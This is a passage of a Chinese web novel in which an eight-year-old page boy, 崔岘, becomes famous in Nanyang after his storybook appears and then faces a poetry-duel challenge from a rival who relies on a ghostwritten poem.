身材壮硕、五大三粗的汉子们,高声嚷嚷、走街串巷,谈论着一部话本。 似乎是怕路人听不清,他们还故意多次重复书名。 惹得很多百姓们脸色茫然。 这年头,草莽之流竟也开始喜欢看书啦? 当真人不可貌相! 再然后。 许多南阳有头有脸的富家千金、夫人,竟也早早来到书肆,指名要买一本叫做《虹猫蓝兔七侠传》的话本。 有些书肆外,竟排起了长队! 因生意太好,书肆的掌柜们脸都快笑僵了。 茶楼饭馆,集市酒肆,到处都有人在谈论此书。 所以……发生了什么? 为何一夜之间,这本名字怪异的话本,成为人人都追捧谈论的对象? 好似你不知道这本书,就不是南阳人一般! 没人能说的清原因。 但它就是火了! 火的莫名其妙,火的一塌糊涂! 有买到书的少年,站在书肆外当场阅读,表情激动:“虹猫少侠,一定要打败黑心虎啊!” 有富家千金在闺房里哭红了眼:“蓝兔已死,是非我已无心解释。此话竟出自虹猫少侠之口,太感人了,好忠贞的情意!” 剧情波澜壮阔。 感情缠绵悱恻。 友情肝胆相照。 正与邪。 善与恶。 这样包罗万象的好故事,又怎么可能不会火呢! 一口气如痴如醉将这话本读完后。 读者们这才回过神,翻回《虹猫蓝兔七侠传》的扉页,查看作者姓名。 咿? 竟然是五人合著? 崔岘独自构思口述,裴坚、高奇、李鹤聿、庄瑾代笔著写。 为何要代笔著写呢?当真奇怪。 看到这里,很多人都愣住。 而后翻到扉页背面,找到了答案! 但每一个看到‘答案’的人,都震惊的瞪大眼睛,陷入呆滞、震撼。 “因本书作者崔岘年仅8岁,尚未开蒙,不会写字。所以由我四人代笔著作,不足之处,还望各位海涵。” 什、什么? 《虹猫蓝兔七侠传》的作者,只有八岁? 甚至还未开蒙!不会写字! 老天呐! 这怎么可能啊! 于是,不仅《虹猫蓝兔七侠传》火了。 八岁尚未开蒙,却能构思出如此精彩绝伦故事的崔岘,也在以一种强势的姿态,火了起来! 这是什么绝世小天才啊! 当然,此刻更多的人被故事吸引,尚且还未注意到这一点。 而最先被故事吸引的,是一部分裴氏族学的学子。 最近这段时间,大家表面嘲讽裴坚四位纨绔不自量力,竟然还敢著书。 背地里,却第一时间赶去书肆看这部话本。 本意是为了作为谈资,笑话四位纨绔,看看他们写了什么‘垃圾’。 然而,看完《虹猫蓝兔七侠传》后,这些学子一个个神情呆滞,瞠目结舌,当场傻眼,直呼‘不可能’。 绝对不可能! 这竟是裴坚那四位纨绔写出来的话本? 他们……有这个能耐吗? 学子们互相对视,不死心的去翻看扉页作者名字。 “呼!” “还好还好,只是崔岘口述,那四位纨绔代笔著写而已。” “虚惊一场,虚惊一场。” “这崔岘,必定是一位年长的大家,甚至很有可能是大儒!而且见多识广,学富五车,否则不可能写出如此精彩绝伦的话本!” 学子们纷纷松了一口气,悬着的心终于放下。 而等他们翻到扉页背面,看清楚上面的内容以后,如遭雷击,失去言语。 悬着的心直接死了! 好消息:这本神书,不是四位纨绔写的。 坏消息:真正的作者,才八岁,而且尚未开蒙,不会写字! 这……怎么可能?! 而且,这位崔岘,究竟是谁啊! 裴氏族学。 此时大部分学子,都在焦急等待。等待第一批去书肆看书的学子,回来反馈消息。 “回来了,回来了!” “怎么样,裴坚四人写的话本如何?是不是非常可笑哈哈哈。” “怎地你们都不说话,而且脸色苍白怪异,难道是话本不堪入目?” 眼看这批最先看完话本的学子回来,却不发一言,等着看热闹的众人都很奇怪。 也是巧了。 裴坚四人,和崔岘,便是在这个时候来到族学的。 今日,四位少爷特地穿的非常素净。 而崔岘一改往日低调,穿着裴府特地替他量身定制的金丝雪缎。 白衣飘飘,俊俏惹眼。 若是再过几年,必定是陌上人如玉,公子世无双! 学子们注意到他,眼前一亮:“咿?此人是谁,当真好模样!竟然让裴坚等人做了陪衬。” “不认识,但为何看起来有些眼熟?” 唯有从书肆回来,看过话本的那群学子,眼神不停在崔岘身上瞄,似乎有了点猜测,神情热切。 崔岘,八岁? 看模样年纪,好像……年纪对上了啊! 是他吗? 小书童崔岘,从前跟在少爷们旁边,低调极了。 然而今日,裴坚要让自己的小弟,高调在族学,惊艳登场! 注意到一些学子打量崔岘的目光,裴坚心知肚明,故意看向小弟,大声喊道:“崔岘,今天天气真不错啊。” 庄瑾、李鹤聿、高奇三人,也纷纷大声助力。 “是啊是啊,崔岘,你说呢?” “崔岘,你吃了吗?” “崔岘,你今天衣服真白。” 崔岘无奈扶额。 大部分学子们看到这一幕,都觉得莫名其妙。 而那群从书肆归来的学子们,则是激动了,疯狂了,振奋了,控制不住了! 在全族学同窗们瞠目的注视下。 这群学子涨红着脸,竟将崔岘围了起来! “天,天呐,你便是崔岘!” “你当真只有八岁,尚未开蒙,便写出了《虹猫蓝兔七侠传》?” “天才啊,神童啊!” “这个故事,跌宕起伏、侠肝义胆,看的我如痴如醉,神往不已!你好厉害,不,你简直是话本界的祖宗!” “我真的,我现在看完话本就开始崇拜、敬佩你了!” “劳驾,您能在我买的这本《虹猫蓝兔七侠传》上面签个名字吗?” 36、县太爷是我的书粉 眼看崔岘被激动的学子们团团围住。 四位少爷神情既得意、又骄傲,甚至比他们自己出名,都更为振奋! 岘弟今日一鸣惊人。 作为大哥。 他们终于能把自己的‘宝贝疙瘩小弟’拿出来,狠狠炫耀咯。 裴坚、庄瑾嘚瑟走过去,将围过来的学子们推开:“哎,让一让,都让一让,保持安全距离。” 李鹤聿、高奇则是负责殿后,给崔岘‘护驾’:“想要知道崔岘的更多资料,了解《虹猫蓝兔七侠传》的幕后创作趣事,跟我们进学堂,咱们坐下慢慢聊。” 这姿态,简直不要太拽! 偏偏那些学子们一点不介意,竟都真的眼巴巴跟上。 骤然成为全族学焦点的崔岘,一时间还真有些不适应,汗颜道:“咱们是不是有些过于高调了?” 今日来族学前。 裴坚骗他,说五人一起穿雪缎,誓要隆重登场,共同惊艳族学。 结果到最后,四位大哥竟齐齐穿素衣。 甘愿做绿叶陪衬,让崔岘做了‘主角’。 “这还高调啊?” 听闻岘弟这话,裴坚直摇头:“大哥要是有你一半、不,有你十之其一的天资。别说裴氏族学,南阳大街上路过的狗,都得知道老子是个天才神童!” 其余三位少爷笑嘻嘻表示赞同。 崔岘为之绝倒。 那……倒也不必。 瞧着一大群看过话本的学子,前呼后拥着崔岘五人进了学舍。 其余学子们懵了。 其中一位学子回忆片刻,不解道:“这崔岘,好像是裴坚的书童吧,为何突然如此受欢迎?” 裴坚的书童? 这么一说,众人好像确实有些印象! 可听到这话。 一位看过《虹猫蓝兔七侠传》的学子,恶狠狠瞪向对方:“书童怎么了?莫要看不起人!你可知崔岘有多厉害?” “等着吧,不出几日,他绝对会扬名南阳县城的。” “若是不信,我先把话本借你,你自己看!” 说完后,那学子把《虹猫蓝兔七侠传》递给对方,随后神情狂热的追随崔岘而去。 没看过这话本的学子们有些不信邪。 一群人当即翻开书阅读。 结果半盏茶时间后。 原本神情不屑的学子们,一个个都激动到红温了! “长虹贯日,好生帅气!” “虹猫少侠坠崖了?不要啊。” “快翻页快翻页……你看的太慢了。” 见他们这般激动。 急得其余学子抓耳挠腮,却因人太多,根本凑不过来,于是纷纷四处求借《虹猫蓝兔七侠传》阅读。 然后。 整个裴氏族学今日都处于一种诡异的振奋当中。 学子们有一个算一个,全都被虹猫少侠折服了! 学舍里。 一身雪缎白衣,俊俏惹眼的崔岘,坐在最中心位置。 四位少爷坐在他两侧。 而更多族学的同窗们,则是围满了整个学舍,神情激动、七嘴八舌的询问。 这个问:“崔岘兄,你当真还没开蒙,便构思出如此精彩绝伦的故事?” 那个说:“崔岘兄,这般跌宕起伏的故事,你是怎么构思出来的啊!” 另一个又问:“崔岘兄,你似乎是裴坚的书童?你放心,我此话绝非嘲讽!” 总之,场面非常之热切、宏大。 因被崔岘的作品折服,哪怕知道他年纪小,众学子也客气以‘崔岘兄’相称。 这是一种实力的认可! 裴坚四人也眼神清亮,等待着岘弟自我狠狠吹嘘! 结果,被一大帮‘粉丝’们当面热情‘采访’的崔岘,竟有些不好意思。 他赧然道:“写《虹猫》的时候,我确实没有开蒙,因家中贫困,所以来做了裴府的书童。” ……这,就没了? 不是,这合理吗? 四位少爷急的抓耳挠腮,最后终究忍不住了! 裴坚跳了出来,大声嚷嚷道:“来来,都看过来!让我来说!先说岘弟是如何做我书童的!话说那日,万里晴空艳阳天,我在集市上……他说要认我做大哥……” 咿? 不愧是《虹猫》的作者,认大哥都如此侠气! 众学子们听得心驰神往。 看向崔岘的目光越发热切,看向裴坚的眼神中则是带着羡慕嫉妒。 接着。 庄瑾紧跟着嚷嚷道:“哎呀,这都不算什么!后来我们仨也认识了岘弟。岘弟误以为我们是南阳四大才子,所以恳请我们为他著书!” 众学子捧腹大笑。 原来《虹猫》竟是这样著写出来的,好有戏剧性啊。 难怪前些日子,四位少爷突然转性了。 高奇一摆手:“这些都是小事儿,我再说个惊掉你们眼珠子的大秘密!岘弟已经开蒙了!那日,我们教他读了一遍《千字文》,然后他当场就学会了!” 什、什么? 嘶! 学子们这下真的惊呆了,纷纷看向崔岘,这次不仅仅目光火热,又带上了崇拜。 但也有一部分人在心中嘀咕。 假的吧?怎么可能! 而李鹤聿最后给了所有人最大的震撼,激动道:“不信,对吧?我们当时也不信,再后来,岘弟用一下午的时间,背会了《龙文鞭影》!” “那可是《龙文鞭影》啊!你们开蒙的时候,多久会背的?” “废物们,知道什么是天才吗?这,就是天才!” 天呐! 那可是启蒙书籍中最难的《龙文鞭影》啊! 在座的诸位,谁没被这本书折磨到崩溃大哭过? 因此,哪怕被李鹤聿骂作‘废物’,也支支吾吾不敢回嘴。 众人看向崔岘的目光,这次都不仅仅是崇拜了。 是敬畏! 这世间,当真有如此厉害的妖孽天才吗? 眼看四位大哥吹得越来越离谱,越来越猖狂。 眼看学舍里学子们看向自己的目光越来越热切。 崔岘心说,再这般高调,迟早要出事儿啊,因此扯了扯激动的裴坚:“大哥,大哥,你冷静点,差不多算了。” 但怎么就能算了呢? 这一两个月,四位少爷闷头著书。 明知小弟是个妖孽天才,但为了造成一鸣惊人的效果,愣是忍住没有炫耀。 忍得好生辛苦。 今日好不容易可以炫耀了,当然要狠狠炫耀到过瘾啊! “岘弟,你莫怕。” 裴坚得意道:“我们说的这些,哪件事儿不是真的?你想想,以你的实力,就算想低调,也没可能啊!你可是名副其实的南阳神童大才子!” 其余三位少爷纷纷骄傲附和。 他们几位,本就是招摇的性格,如此猖狂,自然会惹来别人不快。 果然。 一位学子站起来,大声质疑:“这世间,当真能有人在未开蒙时,一下午背诵完《龙文鞭影》?吹牛的吧!” 学舍里顿时安静了。 裴坚闻言大怒:“你不信?那把吴夫子请来,我们当场验证一番!莫要用你的常人想法,来衡量超级妖孽天才!” 见竟然有人不服,高奇三人顿时来劲了。 “是极是极,吴夫子呢,快把他找来!” 瞧着来凑热闹的学子越来越多,四位少爷互相对视,眼睛里尽是狡黠。 他们并非猖狂。 而是在借此,为岘弟狠狠扬名呢! 正所谓,出名要趁早。 写话本的名气,终究是不如读书资质名气更震撼人心啊。 反正今日已经出尽了风头。 那,就让风头来的更猛烈些吧! 提出质疑的学子道:“好,我这就去请吴夫子过来!反正,我是不信所谓的超级妖孽天才!” 裴氏族学里,一场‘纷争’开始了。 与此同时,南阳县衙。 闲来无事的县太爷,将一帮属下们支开,自己偷偷摸摸在公案后面趴着,美滋滋看话本呢。 看的正是今日突然爆火的《虹猫蓝兔七侠传》。 县太爷一边看,一边激动惊叹:“好,写的好啊!能写出这般波澜壮阔、又不失侠骨柔情故事的,铁定是一位大家!” 想到这里。 县太爷突然反应过来,自己还没来得及看作者名讳。 他急匆匆翻到扉页,而后眼睛瞪得滚圆。 “竟然才八岁,还没开蒙?本官治下,竟出了一位妖孽神童天才?大善!若是将此子培育成才,绝对是一桩教化之功,本官说不定能借此升迁!” 37、有人来踢馆 南阳县令大名叫做叶怀峰。 27岁,三甲同进士出身,今年年初被吏部分配到南阳,来做县令。 虽说‘同进士’不太光彩,但叶县令也绝对算是年轻有为。 就是有点倒霉。 因为他不仅仅是‘同进士’,还是位‘附郭县令’。 有道是:三生不幸,知县附郭。 叶县令心里苦哇。 所以年纪轻轻,便没了斗志,无事的时候,便窝在县衙里看话本。 至于原因嘛—— 别的县太爷,主治一方,威风八面。 可南阳既是县城,又是府城。 县衙、府衙是挨着的! 旁边的知府衙门气派恢弘,相比之下,县令衙门又矮又破。 叶县令在上官眼皮子底下办差事,权利受阻,责任重大,毫无威严。 差事办好了是应该的,没功劳。 若是办不好—— 哼哼。 顷刻间,就能被喊去隔壁知府衙门,被上官狠狠训斥一番。 委屈的像个受气包小媳妇。 然而今日,叶县令看到了希望——教化神童天才,这绝对是大功一件啊! 那么问题来了,要怎么样去认识这位叫做崔岘的小天才呢? 叶县令又犯了难。 他好歹是位县尊,若是主动急吼吼召见崔岘,属实不太合适。 会被人笑话‘功利心太重’的。 叶县令苦苦思索,一时间没有眉目,干脆走出县堂透透气。 他走出来,刚好遇见了县丞,赵志。 结果那赵志仗着年纪大,明明瞧见了叶县令,却假装没瞧见,径直离开了。 叶县令气的暗中磨牙,却又无可奈何。 谁让他是个附郭县令,手中无权呢! 再加上,赵家资产丰硕,是南阳的‘乡绅之首’。赵志做了三十年南阳县丞,威望十足,一呼百应。 自然不把叶县令这个新来的‘毛头小子’看在眼里。 “本官这个县太爷,做的真是憋屈啊!” 叶县令心中悲切。 片刻后又叹了一口气,欢喜道:“罢了,不理会这个烦人精,本官还是继续去看虹猫少侠吧!长虹剑好生威武不凡!” 另一边。 县丞赵志一回到家,便见他十二岁的小孙子赵耀祖在发火,砸东西。 仆从们吓得瑟瑟发抖。 赵志赶紧上前,好声好气哄道:“哎哟,是谁惹我们乖孙生气啦。” 赵耀祖脚下踩着一部话本,使劲踹了几脚,烦躁道:“没什么,一个八岁的小屁孩,写了个不入流的话本,现在外面都传他是个天才呢。” 哦? 赵志闻言不屑道:“话本这种不入流的东西算什么!乖孙放心,你才是南阳最厉害的小天才,以后考科举,中状元!” 赵志并非正统科举出身。 是从一微末小吏,熬到了如今县丞的位置。 他在县衙威望极高,斗走了多任县太爷,自然不把叶县令放在眼里。 但不管斗走几任县令,赵志都无法升迁做县令。 因为他没学过四书五经,不是士林出身! 所以,心中有一股恶气的赵志,从小就替孙子铺路,四处宣扬孙子赵耀祖是天才神童。 誓要为赵家培养出一名正统举子,慰藉自己无法升迁县令之痛。 本来赵志和崔岘,是不会有任何交集的。 可接下来发生的一件事,让赵家祖孙,不怀好意的盯上了崔岘。 · 裴氏族学。 眼看那位提出质疑的学子,急匆匆去请吴清澜夫子。 崔岘神情古怪。 不出所料的话,吴夫子正在苦苦寻找那位在耳房里练字的‘书法天才’吧。 以前崔岘跟在四位少爷身边,毫不起眼。 今日他大出风头,犯了灯下黑的吴夫子,势必会猜到崔岘头上来。 裴坚刚才把崔岘好一通吹嘘。 临到见真章的时候,又有些忐忑了,他悄悄问崔岘:“岘弟,你没问题的,对吧?” 其余三位少爷闻言,都紧紧看向崔岘。 崔岘轻咳一声,含糊道:“应该,问题不大。” 不出意外的话。 非但不会出问题,还会即将上演‘夫子当众流泪高呼终于找到你了南阳最厉害的小天才’这种震撼戏码。 见他这般笃定,裴坚四人顿时越发有底气。 但还真出意外了。 因为吴夫子临时告假,今日并不在族学内,那提出质疑的学子,扑了个空。 听到这个消息。 高奇不满嚷嚷道:“这吴老头也太不靠谱了吧!平时日日待在学堂,一到关键时候,竟然没影了。” 裴坚也很不爽,瞪向提出质疑那位学子:“你且等着,也不差这一天!待吴清澜回来,咱们众目睽睽之下见真章!” 提出质疑的学子冷哼道:“今日算你们走运,等夫子回来,必定拆穿你们的牛皮!” 双方互放狠话。 但吴清澜没来,这场闹剧终究就这样散了。 学子们议论纷纷,就崔岘究竟是不是‘一下午背会《龙文鞭影》的超级天才’展开激烈探讨。 有人认为绝不可能。 有人觉得裴坚等人完全没必要吹这么大的牛,或许是真的呢? 但不管怎样。 《虹猫蓝兔七侠传》确实写的相当出彩! 因此这一整天,崔岘可谓风光无限,收获无数同窗学子惊叹、崇拜的目光。 但裴坚四人仍旧不满意,愤愤抱怨,吴清澜竟然在如此关键时候缺席。 崔岘却笑道:“无碍,夫子总是会回来的。” 他扬名南阳,属于早晚的事儿。 不急这一天、两天。 可万万让崔岘想不到的是,本想再‘明珠蒙尘’几日。 偏偏有人上赶着,来给他做垫脚石了! 原来。 那位裴氏族学当众质疑崔岘的学子,竟认识赵耀祖,还是赵耀祖的‘狗腿子。’ 此学子知道,赵耀祖一直以神童自居。 下学后。 这人去了赵府,把白日裴氏族学发生的事情,一五一十说给赵志、赵耀祖二人听。 赵耀祖本就不爽崔岘写了《虹猫》被叫做神童,出尽风头。 因此冷笑道:“吹这么大的牛,也不怕闪到舌头!” “这世间,怎么可能有人一个下午背会《龙文鞭影》!” 而县丞赵志则是眼中浮现出一抹精光:“乖孙,好机会啊!既然这人凭借一部话本火了,又肆意吹牛,可见不仅没本事,也没脑子。” “这样,祖父找人为你捉刀作诗一首,明日你带诗登门,去裴氏族学,找那崔岘切磋一番!” 赵耀祖闻言愣愣道:“可是,那崔岘尚未开蒙,哪里会作诗?” 赵志笑的十分狡猾:“这不重要!重要的是,你当众作诗,一定能踩着《虹猫》作者的名气,狠狠在南阳出风头,坐稳神童天才之名!” 赵耀祖眼睛亮起来,急切道:“好,就这么办!且看孙儿明日好好表现,在人前展露我赵家儿郎倜傥风姿!” 单是想想那一幕,他都激动的浑身发抖。 恨不得明日赶紧到来! 38、作诗《咏鹅》(上) 当《虹猫蓝兔七侠传》在南阳一夜爆红。 赵家祖孙因此不怀好意盯上崔岘的时候。 吴清澜告假了。 因为他愧疚啊! 最近这段时间,吴清澜夜夜辗转反侧,不得入眠。 只要想到自己给一位书法旷世奇才,批了‘朽木不可雕也’的评语,他就觉得自己‘该死’。 真该死啊! 更让他坐立难安的是,他现在还和那位旷世奇才,彻底失联了! 对方因为他那句‘朽木’的批语,正陷入‘自我怀疑’、‘惶恐不安’、‘丧失信心’、‘郁郁不得志’。 当然这是吴清澜自己脑补的。 但绝对八九不离十! 因此,吴清澜做了一个决定—— 先告假,而后从南阳坐马车出发,赶去开封府,找裴家两位举人老爷,回来帮忙寻找那位旷世奇才。 以裴家的底蕴地位,只要那‘奇才’还在南阳县城,必定能找到他! 一路风尘仆仆,坐了三天的马车,吴清澜终于到了开封府。 顾不得歇息。 他在府学外堵住了裴家大爷,也就是裴坚的父亲,曾回信质疑崔岘是‘庸才’的裴开泰。 骤然瞧见自家族学里的夫子出现在开封府,裴开泰很是吃惊:“清澜兄?” 吴清澜却不由分说,将一张字帖递过去:“开泰兄,你看这张字帖,写的如何?” 丈二和尚摸不着头脑的裴开泰看后,眉头狠狠皱起:“朽木也。” 吴清澜紧跟着递上第二张字帖。 裴开泰轻咿一声:“勉强可入眼。” 吴清澜又递上第三张字帖。 这次,裴开泰看完后,眼睛骤然亮起来,惊叹道:“好字!绝世好字啊!大善!这是出自哪位书法大家之手?咿?瞧着笔法有些生涩,而且似乎隐隐有些眼熟,当真怪极……” 说话的时候。 裴开泰的目光下意识看向手中前两张字帖,脸上的表情浮现出惊愕、不可思议。 片刻后。 他磕磕巴巴的问吴清澜:“这……不会吧,清澜兄?” 吴清澜目光疲惫:“是的,就是你想的那样。这三张字帖,均出自同一人之手。第一张,是他开蒙后第一次写字,第二张,是他第二天写的字。第三张,是他近一月后写的字。” 什、什么? 如此飘逸洒脱、灵气逼人、书生意气、浑然天成的字帖,竟是刚开蒙一月之人所写?! 天才,不—— 旷世奇才,旷世奇才啊! 这若是经过打磨锤炼,将来绝对是位书法大家,甚至说不定能成为‘书圣’! 裴开泰激动到两眼放光:“你来找我,可是因为,这位旷世奇才,出自我裴氏族学?” 吴清澜点头。 裴开泰仰天大笑,激动到不能自已。 他仿佛已经看到自家族学,跟着‘书圣’一起名扬儒林界的盛况佳话了! 然而下一刻,就听吴清澜涩声道:“但是,此人现在不见了。” 不见了? 什么叫做‘不见了’?! 裴开泰脸上的笑容僵硬住,当听吴清澜讲述完来龙去脉后,大怒:“清澜兄,这样一位旷世奇才,你竟然评价他为朽木?!” 吴清澜反唇相讥:“方才开泰兄你是如何评价第一张字帖的?” “……” 裴开泰被噎的神情一窒。 随后他着急道:“你来的不巧,家父刚好休沐。半日前,才将将启程回南阳。要不我修书一封……算了,这么大的事儿,得趁早啊!” “清澜兄,你且在这里等着。我去府学告假,然后同你一起回南阳一趟。” “如此旷世奇才,若真这般戏剧性被耽误了前途,那实是我等的罪过啊!” 吴清澜闻言松了口气。 这也是他来开封府的目的,有裴家两位举人帮忙,肯定能寻到那位旷世奇才的! · 另一边。 裴开泰无论如何都想不到,他焦急到恨不得立刻‘飞’回南阳寻找的旷世奇才,其实就住在他府上。 崔岘正在收拾东西。 今日上午,他会和裴坚一起去族学,下午告假,返回河西村。 眼看马上就要夏收,娘估计也即将临盆,家里肯定忙到不可开交。 虽然还没递话过来,但崔岘打算提前回去。 他现在赚到了一大笔话本稿酬,以后每月还有分成稿酬进账,又即将在南阳扬名。 可谓风光得意。 也是时候回去,帮衬家里了。 “虽然有些舍不得,但岘弟你这次,回去多待些时日。离家许久,家里人肯定惦念。” 去族学的路上,裴坚一路都在絮叨:“你年纪小,回去路上注意安全,莫要被人欺负。你卧房里那些礼,我估摸一车都放不下。所以你此次回去,就别带了。” “过上半月,我和祖母一起,亲自去你家一趟。一是接你回来。” “二来,祖母想正式和你家长辈商量,让你进裴氏族学开蒙。” “上次吃席面,你花了整整二两银子。我思来想去,你赚钱不容易。这钱,我做主给你塞到包裹里了,凑三十两整数带回家,家里人肯定高兴。” “至于你这几个月的工钱,是小钱,你自己放荷包里花吧。” 裴小少爷自己才11岁,平日里也是个不靠谱的。 偏偏此刻又跟个‘老父亲’似的,这里不放心,那里也不放心。 崔岘听得既好笑,又感动:“大哥,我知道了,你都絮叨一路啦。” 奥。 裴坚闻言马上闭嘴。 片刻后又眼巴巴的说道:“还有最后一句,若是我忍不住,提前去把你接回来,你可莫要生气。” 崔岘忍俊不禁:“好。” 二人一边走,一边说话,快到裴氏族学的时候。 远远瞧见庄瑾、李鹤聿、高奇三人,和一大帮族学的学子,浩浩荡荡朝这边跑来。 怎么了这是? 接着。 便听高奇怒声嚷嚷道:“裴坚,岘弟,你们总算是来了!族学里这会儿都乱翻天了。” “直娘贼的赵耀祖,在族学外叫嚣,说是看不惯岘弟沽名钓誉,要教训岘弟一番,当众和岘弟斗诗呢!” 斗诗? 裴坚愣住片刻,很快反应过来,大怒:“赵耀祖这个瓜怂,竟敢说我小弟沽名钓誉?分明是看岘弟扬名了,想拿岘弟做垫脚石呢!当真无耻!” “岘弟尚且没有正式开蒙,哪里会作诗?!” 其余学子愤慨响应。 众人将崔岘围起来,神情担忧。 “崔岘兄,要不你今日别去族学了。” “赵耀祖明显有备而来。” “此人祖父在南阳权势滔天,自己也颇有些才名,难缠的很。” 《虹猫蓝兔七侠传》上市后。 短短一日,崔岘便在族学里,收获了大量‘真爱粉’。 然而。 还没等崔岘说话呢。 在一群人的簇拥下,赵耀祖从远处走来,姿态嚣张得意:“你便是崔岘?既敢自称南阳天才神童,却连跟我比试的胆量都没有,当真可笑。” 裴坚一步上前,将崔岘护在身后,目光凶狠看向赵耀祖:“怎么,皮又痒了?上次老子没把你打服?” 赵耀祖神情一滞。 说起来,这两人也算有‘旧仇’,没少打架。 当然是裴坚单方面按着赵耀祖打。 赵耀祖昨日脚踩《虹猫》话本,一是嫉妒崔岘被称作神童,二便是看到裴坚也在话本上署了名。 只是今日,赵耀祖不为打架,是为扬名而来。 因此他故意不理会裴坚,看向崔岘:“躲在人后算什么本事?我且问你,敢不敢斗诗?若是不敢,你当众认输,承认自己狂妄自大、神童之名徒有其表。” “还有,那《虹猫蓝兔七侠传》的话本,也是你找人代为捉刀的吧?” 听闻这话,裴坚等人大怒,正欲骂回去。 却见崔岘拍了拍裴坚的肩膀,示意大哥稍安勿躁。 而后他走上前,笑眯眯看向赵耀祖,神情古怪:“你说要同我斗诗?好啊。” 39、作诗《咏鹅》(下) “崔岘答应同赵耀祖斗诗,双方现在一起朝族学后面的竹林而去了!” 裴氏族学。 有人高声回来报信,当即引发一片哗然瞠目。 虽说昨日裴坚等人猖狂吹牛,族学里众人对崔岘是否是‘妖孽神童天才’持保留态度。 但《虹猫蓝兔七侠传》写的确实跌宕起伏啊! 而且崔岘是自己人,赵耀祖是来踢馆的。 更严重的是,八岁的崔岘,尚未正式开蒙—— 如果跟着裴坚几位纨绔,读完了开蒙书籍,算是开蒙的话。 但算不算暂且另说,毋庸置疑的是,崔岘肯定不会作诗! 那还斗什么诗? 赵耀祖此人不怀好意,这是要拿崔岘当垫脚石扬名啊! “走,我们去看看。” “裴坚呢?他平日气焰嚣张,为何不盯着点?竟然让崔岘兄着了赵耀祖的道儿!” “岂有此理,无耻赵耀祖!” 因夫子告假,没了拘束。 愤慨的学子们,轰然冲出学堂,纷纷朝后面竹林而去。 · 裴氏族学被一片竹林环抱其中。 再往后,是随风摇摆的青翠柳树林,和宽阔洁净的秀丽白河。 夏日早晨,朝阳灿烂。 河面金光倾洒,有水鸟纷飞、白鹅游荡。 景色煞是好看。 然而竹林外,河岸畔。却有一群模样稚嫩的半大少年,分作两方对峙。 赵耀祖一方神情得意。 裴氏族学这边,却一片忐忑忧虑。 因为半盏茶时间前,崔岘答应了赵耀祖的挑战。 接着。 赵耀祖便以‘你我目之所及之景、物为题作诗’当由头。 将‘斗诗’场地,安排在了此处。 并无耻道:“我也不占你便宜,咱们临时选题,随机找的场地。接下来各自凭本事作诗,一会儿好让你输得心服口服!” 直娘贼! 裴坚‘嗤’了一声,环视四周:“好一个临时选题,随机找场地?姓赵的,你必定是提前找人捉刀,做好了诗吧?” “以目之所及景、物为主题,让我猜猜看,是写竹,还是作柳,亦或者朝阳、河水?” 赵耀祖脸色一变,咬牙切齿。 因为裴坚还真猜对了! 但他自是不肯承认,冷笑一声:“我懒得和你这朽木多言!比斗既已开始,你且噤声,莫要干扰我创作。” 说完后。 众目睽睽之下,赵耀祖开始装模作样,作苦思冥想状。 裴坚翻了个白眼,随后神情忧虑看向崔岘:“岘弟,你当真会作诗?你甚至都还没正经开蒙呢。” 崔岘理直气壮道:“我开蒙了啊!大哥,还有其余三位兄长教我开蒙的。” 众人闻言神情越发绝望。 庄瑾四人更是嘴中发苦—— 他们四个废柴,自己都扶不上墙,能教给崔岘什么有用东西。 高奇转了转眼珠子:“不然,我现在过去,将赵耀祖那厮一拳打晕。这样今日斗诗一事,就能作罢了。” 这都什么馊主意! 崔岘摇摇头,低声道:“诸位放心,我知道,那赵耀祖是想拿我做垫脚石。但待会儿究竟谁是垫脚石,还不一定呢!” 本想再低调几日,但有人上赶着来找不痛快,崔岘自然不会忍耐。 他‘天才神童’之名还没彻底打响呢,岂能便宜了赵耀祖? 庄瑾焦急道:“话是这么说,可问题是……岘弟你没学过作诗啊!” 崔岘闻言眨眨眼:“我学过啊,庄兄,你莫要忘了。我大哥教我的启蒙书籍里,有一本《声律启蒙》。” 啊,所以呢? 莫说庄瑾没听明白,其余人也没明白。 崔岘便认真解释道:“《声律启蒙》是训练蒙童作诗对句、掌握声韵格律的书籍。我看完了,所以就学会作诗了啊。” 众人:? 不是?请问这合理吗? “哈哈哈哈哈哈。” “照你这么说,我读完四书五经,就能考中状元咯?” “当真可笑,荒谬,无知,狂妄!” “就这还敢自称神童,等着待会儿被耀祖兄教训吧!” 另一边。 跟着赵耀祖而来的一群半大少年听到这话,纷纷捧腹嘲笑。 赵耀祖也在笑。 笑完了,他轻蔑看了一眼崔岘,表情浮夸的指着竹林:“有了!” 崔岘莫名被此人三番五次嘲弄,早已心中不爽,因此故意道:“什么有了,有什么了?此地这么多竹子,你是眼神不好,刚看到它们吗?” 这次,轮到裴坚等人笑作一团。 赵耀祖神情恼羞愤恨,顿时没心情矫揉造作表演,只想狠狠用自己的‘大作’教训崔岘。 于是冷哼过后,朗声道:“我作这诗,名为《咏新竹》。你且听好了——” “昨夜东园雨脚斜,苔阶迸笋破霜芽。 明朝若许凌云去,先扫先生鬓上华。” 此诗一出,裴氏族学这边顿时鸦雀无声,目露绝望,显然被震慑住了。 裴坚四人急的抓耳挠腮,却愣是没办法。 吃了没文化的亏啊! 赵耀祖一方的少年们,则是欢呼吹捧。 “好诗好诗!” “平仄对仗,声韵协调,借新竹喻求学志向,扫鬓华双关尊师与报国,耀祖兄当真好文采。” “而且还是极难的七言诗!” “厉害,佩服!今日过后,耀祖兄天才神童之名,必定响彻南阳!” 赵耀祖在一片吹捧中迷失了自我。 此时。 却听崔岘嘲笑道:“昨夜没有下雨,此地也没有台阶,更没有苔藓。” “你眼前这片竹林,是丛生竹。早在三月已经发过新芽,今已节节长成,何来破霜芽一说?再者,这里是裴氏族学,东园又是哪里?” 吹捧赵耀祖的声音为之一顿。 裴氏族学这边反应过来,纷纷大声道:“赵耀祖,你定是提前找人捉刀,所以才导致张冠李戴,两相对不上!” 事实还真是这样。 赵志仓促找人替孙子捉刀,只说要‘咏竹’,对方便给了一首自己的旧作来搪塞。 赵耀祖被拆穿,眼神浮现慌乱,随后嘴硬道:“你们懂什么叫做隐喻手法吗?一帮朽木,只会质疑别人!有本事,你们也来作一首试试?” 这下,裴氏族学众人不敢说话了。 他们最多也就刚读‘大班’的水平,哪里能作诗? 就算勉强能作,也比不得赵耀祖这首《咏新竹》。 赵耀祖见状不慌了,得意洋洋看向崔岘:“赶紧认输吧!向本神童才子当场道歉,承认你沽名钓誉,狂妄无知……” 没等他话说完。 崔岘懒得搭理,直接一转身,朝着四周围打量,暗自心中嘀咕。 晴空、飞鸟、竹林、朝阳、柳树,大河。 经典要素太多了啊。 翻一翻唐诗宋词,他分分钟能拿出来十几首千古名句,‘吓死’赵耀祖。 